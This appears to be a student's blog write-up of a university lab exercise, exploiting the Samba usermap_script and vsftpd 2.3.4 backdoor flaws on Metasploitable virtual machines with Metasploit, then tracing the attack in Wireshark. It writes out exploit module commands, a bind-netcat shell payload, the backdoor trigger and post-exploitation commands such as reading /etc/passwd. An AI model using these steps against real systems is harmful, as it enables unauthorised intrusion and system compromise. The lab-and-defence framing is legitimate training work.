20252910 2025-2026-2《网络攻防实践》第7次作业

20252910 2025-2026-2《网络攻防实践》第7次作业

1、实验内容

本次实践包含两项核心内容,均围绕网络安全渗透测试与攻防对抗展开,旨在提升对漏洞利用及网络防护的实操认知,所有操作需在合法授权的靶场环境内进行。

  • Linux远程渗透攻击:使用Metasploit渗透测试平台,针对靶机Samba服务的Usermap_script安全漏洞实施渗透攻击,通过启动软件、选择对应攻击模块与远程shell载荷、配置相关参数后执行攻击,最终验证是否成功获取远程Shell及对应访问权限。

  • 攻防对抗实践:分为攻击方与防守方两大角色。攻击方利用Metasploit,针对Metasploitable靶机的已知漏洞进行渗透,目标是获取远程控制权并尝试提升至root权限;防守方借助tcpdump、Wireshark、Snort等工具监听网络数据包,分析攻击全过程,提取攻击者IP、目标IP与端口、攻击时间、利用漏洞、Shellcode及攻击成功后的命令行操作等关键信息。

2、实验过程

2.1 实践一:使用Metasploit进行Linux远程渗透攻击

首先启动Kali虚拟机与Metasploitable虚拟机,启动完成后,在两台虚拟机中分别执行对应命令查看其网络信息。经查看,Kali虚拟机的IP地址为192.168.200.6,Metasploitable虚拟机的IP地址为192.168.200.11。

image-20260427151320608

image-20260427151345582

使用ping命令检查二者的连通性,可以ping通说明连通性正常

image-20260427204612161

然后在kali虚拟机中输入命令msfconsole启动Metasploit渗透软件

image-20260427204657056

然后再输入命令search samba查找要使用的漏洞模块

image-20260427204724232

输入命令search usermap_script查找到要使用的usermap_script安全漏洞

image-20260427204801418

输入命令use exploit/multi/samba/usermap_script使用渗透攻击模块

image-20260427204831665

输入命令show payloads查看与该渗透攻击模块相兼容的攻击载荷

image-20260427204856569

输入命令set payload cmd/unix/bind_netcat设置攻击载荷为bind_netcat,输入命令show options查看需配置的参数

image-20260427204958346

输入命令与对应的靶机和攻击机IP地址,将Metasploitable虚拟机设置为靶机,将kali虚拟机设置为攻击机

set RHOST 192.169.200.11

set LHOST 192.168.200.6

image-20260427205612552

查看当前操作用户,确认权限等级 whoami

查看靶机网络配置,确认目标为Metasploitable_Ubuntu靶机 ifconfig

查看当前工作目录 pwd 查看靶机目录文件 ls

查看这台 Linux 有哪些用户 cat /etc/passwd

image-20260427212341935

image-20260427212303652

执行结果显示,当前用户为 root,成功获得靶机的最高系统权限,网络配置与靶机 IP 192.168.200.11 完全匹配,本次渗透攻击成功完成。

2.2 攻防对抗实践

在 msfconsole 中执行以下命令,搜索 vsftpd 漏洞对应的攻击模块:

search vsftpd

image-20260427213011870

搜索结果中,定位到 exploit/unix/ftp/vsftpd_234_backdoor模块,执行 use 命令加载:

use exploit/unix/ftp/vsftpd_234_backdoor

image-20260427213119819

执行 show payloads 查看支持的载荷,选择适配的交互载荷并配置核心参数:

配置靶机

set RHOSTS 192.168.200.9

image-20260427213119819

同步开启 Wireshark 流量捕获

打开 Wireshark,选择攻击机与靶机通信的虚拟网卡,设置显示过滤规则:

ip.addr == 192.168.200.6 && ip.addr == 192.168.200.9

点击开始捕获,同步记录攻击全流程的网络流量。

执行攻击并完成靶机操作

参数配置无误后,执行 run 命令发起攻击:

run

执行命令后提示:Exploit completed, but no session was created.

在当前模块命令行里输入:sessions -l

你会看到一个 1 号会话,状态是 shell,就是你刚才触发的那个后门会话。

sessions -i 1

image-20260428101530862

攻击成功后,获得靶机的交互式 Shell,执行以下操作完成对靶机的控制:

验证权限 whoami

查看靶机信息uname -a

进入用户目录创建测试文件cd /home mkdir attack_verify echo "vsftpd attack success" > attack_log.txt

查看文件创建结果 ls

image-20260428102301912

Wireshark 攻击流量分析与溯源

攻击完成后,停止 Wireshark 流量捕获,对流量包进行深度分析,完成攻击全链路溯源:

攻击过程流量还原
  • 会话建立阶段(No. 7-9):攻击机向靶机 21 端口发起 TCP 三次握手,建立 FTP 控制会话;

image-20260428102555179

  • FTP 控制通道正式建立完成时间:第 10 帧,时间戳 16.550694388(服务器发送 220 欢迎消息,代表控制通道可以开始交互命令了)

image-20260428103159925

  • 后门触发时间:第 12 帧,客户端发送带 :)USER 命令时,服务器开始在后台开启 6200 端口后门。

image-20260428102741642

  • 后门连接建立时间:第 16-18 帧,客户端与服务器 6200 端口的 TCP 三次握手完成,此时客户端成功连接到后门,获得了 shell 权限

  • 恶意操作阶段(tcp.stream eq 2):右键选中攻击会话数据包,选择 Follow → TCP Stream,可完整还原攻击者在 Shell 中执行的所有命令,包括权限验证、目录切换、文件创建等操作。

image-20260428102741642

3、实验中遇到的问题

  • 在第二个大问题中一开始我用的是Metasploitable_ubuntu,执行渗透攻击后,提示 Exploit completed, but no session was created

image-20260427214938335

问了豆包说原因是:

之前遇到的 Samba 漏洞(usermap_script),这两个靶机(Metasploitable_ubuntu和Linux)一般都是有的,因为那个漏洞不依赖特定修改版,只要是旧版本 Samba 就存在。

vsftpd 2.3.4 后门漏洞的特殊性,这个漏洞(CVE-2011-2523)是个 “伪漏洞”—— 它不是代码 bug,而是有人在 2011 年恶意篡改了 vsftpd 源码,在特定版本里加了后门。只有下载了这个被污染的版本,才会存在 “输入带 :) 的用户名就开启 6200 端口 shell” 的后门。

原版的 vsftpd 2.3.4 以及其他版本,都没有这个后门。

解决方法:用Metasploitable_Linux当靶机

  • 在第二个大问题中执行渗透命令后提示:
    [] Command shell session 1 opened (192.168.200.6:34531 -> 192.168.200.9:6200) at 2026-04-27 22:13:49 -0400
    [
    ] Exploit completed, but no session was created.
    会话被创建但是最后显示没有被创建。
    image-20260428102018159

原因:

其实就是 Metasploit 的一个 “老 bug”:

1、模块触发了后门、建立了会话,但没自动把你切进 shell 里

2、你一直停留在 msf 的模块命令行里,敲的命令都是在本地执行的

3、那句 “Exploit completed, but no session was created” 就是个误报提示,完全不用管它

解决方法:

1、先看会话列表:sessions -l

2、找到你的会话 ID,直接切进去:sessions -i <会话ID>

3、如果会话断了,用 sessions -k <会话ID> 关掉僵死会话,再重新跑一次 exploit

4、学习感悟与思考

本次实验围绕 Metasploit 框架下的 Linux 靶机渗透与攻防对抗展开,我不仅掌握了 Samba 服务usermap_script漏洞的完整利用流程,也从攻击方与防守方两个视角理解了网络安全攻防的本质。在攻击环节,我熟练掌握了 Metasploit 的核心操作,包括漏洞模块调用、Payload 选择、参数配置与会话管理,成功利用命令注入漏洞获取了靶机的 root 权限;在防守溯源环节,我通过 Wireshark 捕获了攻击流量,还原了漏洞利用的完整过程,理解了攻击痕迹的可追溯性。本次实验也让我认识到,Metasploit 只是工具,真正支撑渗透测试的是对漏洞原理、网络协议与操作系统的理解。后续我会继续深入学习 Linux 提权技术、流量分析方法,通过更多实战场景提升自己的安全攻防能力,同时坚守网络安全伦理,以合法合规的方式开展安全实践。

posted @ 2026-04-28 11:22  lLct  阅读(25)  评论(0)    收藏  举报